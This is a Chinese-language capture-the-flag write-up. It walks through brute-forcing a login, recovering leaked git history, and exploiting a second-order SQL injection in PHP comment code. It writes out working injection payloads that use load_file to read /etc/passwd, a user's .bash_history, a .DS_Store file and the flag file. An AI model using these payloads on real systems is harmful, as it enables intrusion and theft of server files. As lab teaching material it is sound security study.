首先我们看到账号密码有提示了
我们bp爆破一下
我首先对数字爆破 因为全字符的话太多了
爆出来了哦
所以账号密码也出来了
zhangwei
zhangwei666
没有什么用啊
扫一下吧
有git
git泄露
那泄露看看
真有
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
原本的githack坏了
mirrors / BugScanTeam / GitHack · GitCode
重新下了一个 需要下载后 里面存在 .git文件夹
然后看上面的代码 根本没有看懂 感觉不是全部
git 恢复
所以我们可以使用git log --all看看
以前的情况
我们直接回到最开始
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
全部代码就出来了
用了个switch 内容为go
addslashes 这里是 通过转义的方式 存入数据库 很容易造成二次注入
因为会把内容原封不动传入数据库
如果读取 就会造成二次注入
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
这里我们能发现 查询的内容 是 category
所以category 就是我们写入的内容的参数了
这里懂得差不多了
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
主要是这里 设定了从数据库提取出来的值
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
这里我们就可以构造了
$category=0' content = database(),/* 后面的/*是用来和我们详情里面输入的content闭合
我们首先写入留言
0',content=database(),/*
然后进去提交留言
这个时候就会形成
$sql = "insert into comment
set category = '0',content = database(),/*',
content = '*/#',
bo_id = '$bo_id'";
$result = mysql_query($sql);
更直观点
$sql = "insert into comment
set category = '0',content = database(),/*',content = '*/#',
bo_id = '$bo_id'";
/*',content = '*/#'
这里就为空了 所以现在的语句是
set category = '0',content = database(),
bo_id = '$bo_id'";
然后我们进行查表 发现没有flag
于是我们可以看看user()函数
发现是root权限
那么多半就是 读取了
load_file可以读取
我们读取看看
这里又是另一个文件读取的方法了
之前做的题 proc这里没有用
任意文件读取
.bash_history
我们首先去查看 etc/passwd
0',content=(select load_file('/etc/passwd')),/*
发现存在 www用户 我们去看看他的历史命令
cs
0',content=(select load_file('/home/www/.bash_history')),/*
这里发现了 是删除了 .DS_Store
但是ctf环境一般都是docker环境 所以在
/tmp/html下还会存在
我们去读取
0',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
这里需要通过十六进制输出 因为会有很多不可见的字符
.DS_Store泄露
我们通过通过瑞士军刀可以 恢复成 文件形式 并且导出
然后通过 Python-dsstore-master
来实现解析读取文件
cs
py3 .\main.py .\samples\download.dat
我们来解析读取这个flag
cs
0',content=(select load_file('/tmp/html/flag_8946e1ff1ee3e40f.php')),/*
但是这个文件是错误的 flag为错误
可能修改了 所以我们回去 /var进行读取
cs
0',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
cs
flag{5737c889-1e5b-47a6-b14d-87df5dd59e01}
知识点 过多了。。。。。
虽然都很基础 但是有的时候 真没想到 可以以后再做一次